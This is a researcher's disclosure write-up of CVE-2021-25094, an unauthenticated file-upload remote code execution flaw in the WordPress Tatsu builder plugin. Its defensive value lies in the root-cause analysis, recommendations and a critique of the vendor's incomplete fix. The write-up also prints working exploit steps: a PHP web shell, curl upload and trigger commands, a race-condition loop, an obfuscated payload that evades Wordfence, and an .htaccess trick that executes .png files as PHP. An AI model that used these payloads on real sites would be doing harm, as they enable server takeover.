Wordpress Tatsu builder preauth RCE (CVE-2021-25094)
An unrestricted file upload in Wordpress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in font import feature and put 100,000 websites at risk.
The add_custom_font
action can be used by anonymous users to upload a rogue zip file which is uncompressed under the public wordpress upload directory. By adding a PHP shell to the zip, with a filename starting with a dot “.”, an attacker can bypass the plugin’s extension control. Moreover, there is a race condition in the zip extraction process which makes the shell file live long enough on the filesystem to be callable by an attacker.
Introduction
As a security professional, I was missioned to audit in a black box scenario a corporate website running Wordpress. Tatsu theme was detected by wpscan with no previous public vulnerability. Tatsu theme is actually not a theme but an extension. So, I decided to download it for a manual source code audit.
Wordpress is one of the most popular opensource content management system (CMS). It is used by 41% of websites in the world thanks to a rich plugin library.
Tatsu builder (simply called “Tatsu”) is a wordpress plugin edited by BrandExponents and deployed on around 100,000 websites. Tatsu is a website template editor directly integrated in the browser: layout, text, buttons, images, styling, responsiveness, pre-built templates, inline text edition…
Tatsu embeds a sub-plugin called “Typehub” also edited by the same company BrandExponents. However, Typehub cannot be downloaded as a standalone plugin and is only shipped with Tatsu (to my knowledge). Typehub plugin is used to control the typography of various elements across the site.
It implements a font import feature to enable web designers and administrators to customize the global website font style. A zip archive containing fonts artifacts (ttf, woff, html, css…), can be uploaded through the backoffice menu: Tatsu > Type Hub > Custom Fonts > Upload webfont kit
:
As you will see in the rest of the article, any plugin embedding Typehub is potentially affected by the vulnerabilities.
Vulnerabilities
Vulnerability 1: Unauthenticated font import
Wordpress extensions can declare their own admin ajax controllers by using the Wordpress API add_action($hook_name, $callable)
, with $callable
the PHP function to callback (see here). $hook_name
is in the form of wp_ajax_<key>
. However, when $hook_name
starts with wp_ajax_nopriv_<key>
, it can be called without authentication to the backoffice.
Tatsu declares some of its admin ajax actions in the file includes/typehub/includes/class-typehub.php
. We notice 1 call callback ajax_add_custom_font
declaired twice:
wp_ajax_nopriv_add_custom_font
wp_ajax_add_custom_font
private function define_ajax_hooks() {
$plugin_store = new Typehub_Store();
$this->loader->add_action( 'wp_ajax_typehub_save_store', $plugin_store, 'ajax_save' );
$this->loader->add_action( 'wp_ajax_load_typekit_fonts', $plugin_store, 'ajax_get_typekit_fonts' );
$this->loader->add_action( 'wp_ajax_local_font_details', $plugin_store, 'ajax_get_local_font_details' );
$this->loader->add_action( 'wp_ajax_download_font', $plugin_store, 'ajax_download_font' );
$this->loader->add_action( 'wp_ajax_refresh_changes', $plugin_store, 'ajax_refresh_changes' );
$this->loader->add_action( 'wp_ajax_sync_typekit', $plugin_store, 'ajax_sync_typekit' );
$this->loader->add_action( 'wp_ajax_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
$this->loader->add_action( 'wp_ajax_nopriv_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
$this->loader->add_action( 'wp_ajax_remove_custom_font', $plugin_store, 'ajax_remove_custom_font' );
}
Thus, ajax_add_custom_font
action can be both accessed unauthenticated and authenticated. This is pretty surprising, since it’s a backoffice feature. We want no anonymous users to be able to upload new fonts?
To call the action, we can issue the following request:
curl -i -X POST -d"action=add_custom_font" https://wordpress.com/wp-admin/admin-ajax.php
Vulnerability 2: Race Condition in file upload
Tatsu font import feature works roughly like this:
- Zip filename is taken to determine if
wp-content/uploads/typehub/custom/<zipFilenameWithout.zip>/
exists - If not the zip file is moved from temp dir to if
wp-content/uploads/<year>/<month>/
- Zip file is unzipped in if
wp-content/uploads/typehub/custom/<zipFilenameWithout.zip>/
- The content of the directory is listed and extensions are compared with a whitelist
.otf
,.ttf
,.woff
,.woff2
,.svg
,.eot
,.html
,.css
. - If there are any number of non-matching files, the zip file and the directory content is recursively deleted
- If OK, it returns OK and only the zip file is deleted.
The action ajax_add_custom_font
is implemented in includes/typehub/includes/class-typehub-store.php
with the function add_custom_font()
. The following source code contains the upload sequence:
public function ajax_add_custom_font(){
$filename = $_FILES["file"]["name"];
$filebasename = basename($filename, '.zip');
$temp_file = explode('(',$filebasename);
$filebasename = trim(array_shift($temp_file));
$filebasename = strtolower($filebasename);
$upload_dir = wp_upload_dir();
$typehub_font_dir = $upload_dir['basedir'] . '/'. 'typehub/custom/'. $filebasename .'/';
$typehub_font_url = $upload_dir['baseurl'] . '/'. 'typehub/custom/'. $filebasename .'/styles.css';
if( file_exists( $typehub_font_dir ) ){
$result = array(
'status' => 'file already exists'
);
echo json_encode($result);
wp_die();
}
$upload = wp_upload_bits($filename, null, file_get_contents($_FILES["file"]["tmp_name"]));
$access_type = get_filesystem_method();
if( empty( $upload['error'] ) ){
if( $access_type !== 'direct' ){
$result = array(
'status' => 'write permission denied'
);
echo json_encode($result);
wp_die();
}
And the most interesting part of the algorithm:
global $wp_filesystem;
if ( empty( $wp_filesystem ) ) {
require_once ( ABSPATH.'/wp-admin/includes/file.php' );
WP_Filesystem();
}
$zip_handle = unzip_file($upload['file'], $typehub_font_dir );
if( !is_wp_error( $zip_handle ) ){
$zip_content = list_files( $typehub_font_dir, 1 );
$compatible_formats = array('.otf','.ttf','.woff','.woff2','.svg','.eot','.html','.css');
$count = 0;
foreach( $zip_content as $item){
foreach( $compatible_formats as $format ){
$endsWith = substr_compare( $item, $format, -strlen( $format ) ) === 0;
if($endsWith){
$count++;
}
}
}
if( $count === count($zip_content) ){
$result = array(
'status' => 'success',
'url' => $typehub_font_url,
'name' => $filebasename
);
wp_delete_file($upload['file']);
} else {
$result = array(
'status' => 'invalid_zip'
);
wp_delete_file($upload['file']);
$wp_filesystem->rmdir( $typehub_font_dir, true );
}
Root causes of the issue are:
- Uploaded file is moved and analyzed under a public accessible part of the web root.
- The zip is extracted and then its content is controlled. So every files inside touches the disk in a part of the web root which is accessible by remote users under the upload directory.
So between the line 171 where the file is unzipped,
$zip_handle = unzip_file($upload['file'], $typehub_font_dir );
and line 198 where the files are deleted,
$wp_filesystem->rmdir( $typehub_font_dir, true );
there is a small time frame where the zip files are accessible and exist in the directory. This can be abused to make a lot of HTTP call to a malicious PHP until having a positive response. However, the attacker must do the “race” with the server aka “Race condition vulnerability”.
This type of vulnerability is categorized as CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’). The improper synchronization here is the filesystem and the web server threads that can access it, even though the initial zip validation processing is not over.
To raise the chance of calling the file, the attacker can make the unzip operation slower than expected by uploading a zip containing a huge number of files. Files extraction, but also tests over file extensions, will take more time. The tests I did shows a good success rate with around 10 000 small files in the archive. The attacker should not include big files as the zip archive will be too heavy and will hit the upload max file size of the webserver.
So, to exploit the vulnerability, we need a shell and 10 000 dummy files for instance:
echo "<?php echo shell_exec($_REQUEST['c']); ?>" > tatsu-shell.php
for i in `seq 1 10000`; do
echo $RANDOM | md5sum | head -c 30 > "tatsu-$i.txt"
done
zip -qqr "tatsu.zip" tatsu-*
We start a loop to call in parallel the shell file that will be uploaded:
while true; do
code=$(curl -s -w "%{http_code}" -o result "https://wordpress.com/wp-content/uploads/typehub/custom/tatsu/tatsu-shell.php?c=id")
if [ $code -eq 200 ]; then
cat result
break
fi
echo -n "."
done
Then we just need to upload the zip file:
curl -i https://wordpress.com/wp-admin/admin-ajax.php -F "action=add_custom_font" -F "file=@tatsu.zip"
A python version of the race condition exploit is provided here for information: https://github.com/darkpills/CVE-2021-25094-tatsu-preauth-rce/blob/main/exploit-race.py
Vulnerability 3: RCE through unverified hidden files
However, things are getting even worse with a 3rd vulnerability… a direct RCE that does not rely on a race condition.
Extension file check uses a Wordpress function API named “list_files()":
function list_files( $folder = '', $levels = 100, $exclusions = array() ) {
if ( empty( $folder ) ) {
return false;
}
$folder = trailingslashit( $folder );
if ( ! $levels ) {
return false;
}
$files = array();
$dir = @opendir( $folder );
if ( $dir ) {
while ( ( $file = readdir( $dir ) ) !== false ) {
// Skip current and parent folder links.
if ( in_array( $file, array( '.', '..' ), true ) ) {
continue;
}
// Skip hidden and excluded files.
if ( '.' === $file[0] || in_array( $file, $exclusions, true ) ) {
continue;
}
if ( is_dir( $folder . $file ) ) {
$files2 = list_files( $folder . $file, $levels - 1 );
if ( $files2 ) {
$files = array_merge( $files, $files2 );
} else {
$files[] = $folder . $file . '/';
}
} else {
$files[] = $folder . $file;
}
}
closedir( $dir );
}
return $files;
}
By digging into this function, we realize that hidden files contained in the directory are skipped and not returned. Those files begin with a “.":
// Skip hidden and excluded files.
if ( '.' === $file[0] || in_array( $file, $exclusions, true ) ) {
continue;
}
So what if, as an attacker, we include a hidden “.shell.php” file in the uploaded zip? The extension loop will not test the file and will return an OK with a loop count of 0 uploaded files.
Then, the shell PHP can be called with 1 request instead of many with the race condition exploit. This significantly improve the exploit stability and simplicity.
So, the exploit can be shortened like this:
echo "<?php echo shell_exec($_REQUEST['c']); ?>" > .shell.php
zip -qqr "tatsu.zip" .shell.php
curl -i https://wordpress.com/wp-admin/admin-ajax.php -F "action=add_custom_font" -F "file=@tatsu.zip"
curl -i "https://wordpress.com/wp-content/uploads/typehub/custom/tatsu/.shell.php?c=id"
A more advanced python exploit is also provided here for information: https://github.com/darkpills/CVE-2021-25094-tatsu-preauth-rce/blob/main/exploit-rce.py
Other vulnerabilities worth mentioning
Other security flaws have been identified on the file upload feature:
- Uncompressed uploaded file size is not checked before extraction. An attacker could conduct a zip bomb attack.
- Uploaded file extension is not checked. It can be zip or anything else accepted by wordpress
wp_upload_bits()
function. - Uploaded file zip content is not checked, at least first magic bytes with
mime_content_type()
, and much better would be with a deep content analysis library. - SVG, HTML and CSS file extensions are whitelisted, which enables to upload arbitrary HTML files that may trigger stored XSS vulnerability.
Exploit development notes
A simple Wordfence bypass
The first time the exploit was tested on the corporate website, it triggered a Wordfence plugin alert because of a plain shell_exec
function that appeared in the zip content, itself in the php shell.
Then, a simple obfuscation technique was applied to mask system
function string and use array_filter()
, encouraged with a blog post of 2018 here. Indeed, I did not have to go as far as techniques described here.
I raised the zip compression ratio to the maximum (level 9) to avoid that PHP code appears to easily in the HTTP body request.
Then, I encoded the command executed in base64 to avoid easy detection in Wordfence, but if I were less lazy, I could have used another less common encoding like base58 or other :-p
The final payload looks like this:
$f = "lmeyst";
@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];
@$words = array(base64_decode($_POST['text']));
$j="array"."_"."filter";
@$filtered_words = $j($words, $a);
Finally, to avoid easy fingerprinting, I also generated randomly the file names and zip filename. It can still be fingerprinted with calls to upload directories like:
https://.*/wp-content/uploads/typehub/custom/.*
The “.htaccess” strategy
In the RCE exploit, the second HTTP call to the file .shell.php
can be easily detected and forbidden by rewrite rules in webserver or reverse proxy. Why would any content editor put PHP files in wp-content/uploads
directory?
For this reason, I implemented a second exploit technique with an upload of .htaccess in case the webserver has a AllowOverride All
directives which enables the processing of .htaccess
files in the web root tree. Some times, Wordpress housing are mutualized and it is not uncommon to see enabled .htaccess
directives to customize per customer the webserver behavior.
Then the .htaccess
just declares the .png
file types as eligible to PHP processor handling:
AddType application/x-httpd-php .png
Finally, the PHP shell is just renamed to .shell.png
for instance which allows to bypass some network filtering rules.
Another option could be to upload a .htaccess
that enables PHP engine on .htaccess
files itself like here. However, calls to .htaccess
are also suspicious and could be blocked by WAF.
Recommendations
The following recommendations were provided to the plugin’s editor which mostly come from OWASP File upload cheat sheet:
High priority Analyze why font import should be accessible without authentication. If there is no reason, remove the
nopriv
in theadd_action()
declaration. If there is a reason, separate admin features from anonymous features and prevent any unauthenticated file upload anyway. This action mitigates most risks at short term and can be just a quick fix.Analyze uploaded archive directly from the PHP temp directory. List the archive content directly with
ZipArchive::getNameIndex()
without unziping it. https://www.php.net/manual/fr/ziparchive.getnameindex.php. Compare filenames with a whitelist as already done in the code. Prefer using PHP primitive pathinfo() to retrieve file extension: https://www.php.net/manual/fr/function.pathinfo.phpControl the zip file name extension with
pathinfo()
https://www.php.net/manual/fr/function.pathinfo.phpRemove
.svg
,.html
,.css
extensions from whitelisted extensions in the zip.Control the total file size if the archive would be uncompressed file, to prevent zip bomb attacks by using
ZipArchive::statIndex()
iteratively on files. https://gist.github.com/Caffe1neAdd1ct/f2ece3705053b3e2ea4c https://www.php.net/manual/fr/ziparchive.statindex.phpRestrict allowed characters in the zip filename and filename size. Validate it with regular expression like
^[a-zA-Z0-9\-\._]{1,32}\+\.zip$
https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.htmlControl the zip file magic bytes with
mime_content_type()
function https://www.php.net/manual/fr/function.mime-content-type.php
Epilogue: when the fix is still vulnerable…
I did not have any news from the editor for months. WPScan manage to get in touch through another mean and got a new release 3.3.12 which is supposed to fix the issue.
I checked the new version and it is much much better:
- The vulnerability is not preauthenticated anymore. The user needs to be authenticated to used the
ajax_add_custom_font
function. This is just a shame that 3 months have been necessary to comment 1 line:
$this->loader->add_action( 'wp_ajax_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
//$this->loader->add_action( 'wp_ajax_nopriv_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
- The user must have the
manage_options
grant to execute the action, which is 90% of the time the wordpress admin:
public function ajax_add_custom_font(){
check_ajax_referer( 'typehub-security', 'security' );
$result = array();
if(function_exists('current_user_can') && function_exists('wp_check_filetype') && current_user_can('manage_options')){
- There is a zip introspection with
ZipArchive
class before unzipping.
However… The code is still vulnerable:
- Zip introspection is made if and only if the
ZipArchive
is loaded:
if(class_exists('ZipArchive')){ // <=== check here
//check file validation without unzip
$zip = new ZipArchive;
$res = $zip->open($upload['file']);
// zip file introspection here
// [...]
}
$zip_handle = unzip_file($upload['file'], $typehub_font_dir ); // <== unzip here
However, this is not the case in a default PHP installation. It requires php zip extension. So, in case zip extension is not installed, the plugin will still unzip an untrusted content without check. We come back to the initial vulnerability. To address this issue, editor can use the custom pure Wordpress PclZip
class of Wordpress in wp-admin/includes/class-pclzip.php
with method listContent()
as a fallback in case php zip is not loaded. However, I do not know about the security of this class. Another solution is to return an error when trying to upload a zip, if ZipArchive
class does not exist, and stating that this feature requires php zip extension to work.
- The zip file is still moved under the wp-upload directory location with
wp_upload_bits
, but BEFORE making required security check :
$upload = wp_upload_bits($filename, null, file_get_contents($_FILES["file"]["tmp_name"]));
So, there is still a race condition: what if the attacker uploads a correct file, it will be checked, and during the check he uploads a 2nd rogue file with the same name, the 1st check will finish and unzip the rogue file instead of the good one. I did not check dynamically with an exploit and the time frame look really small. Also note that the unicity check on the file upload name will not help, since the folder is created lower in the code:
if( file_exists( $typehub_font_dir ) ){
- There is a logic issue. The result of the zip file open is checked but there no
else
code block to handle the error.
if(class_exists('ZipArchive')){
$zip = new ZipArchive;
$res = $zip->open($upload['file']);
if($res === TRUE) { // <=== check open result here
// zip file introspection here
// [...]
} // no else here
}
// and finally unzip
$zip_handle = unzip_file($upload['file'], $typehub_font_dir );
As you can see, if $zip->open()
returns an error for any reason, processing will continue and the file will still be unzipped.
To date, current version is 3.3.12 and is still vulnerable to the issues above but not preauth anymore.
Disclosure timeline
- 2021-12-15: Vulnerability identification
- 2021-12-24: Vulnerability reported to the vendor
- 2021-12-27: CVE number assignment from wpscan
- 2022-03-17: New release 3.3.12 from vendor, still vulnerable
- 2022-03-28: Public disclosure
References
- https://github.com/darkpills/CVE-2021-25094-tatsu-preauth-rce
- https://wpscan.com/vulnerability/fb0097a0-5d7b-4e5b-97de-aacafa8fffcd
- https://tatsubuilder.com/
- https://exponentwptheme.com/documentation/list-of-articles-others/typehub/
- https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
- https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp
- https://x-c3ll.github.io/posts/bypass-wordpress-plugins/
- https://github.com/wpscanteam/wpscan
- https://developer.wordpress.org/reference/functions/add_action/
- https://en.wikipedia.org/wiki/Zip_bomb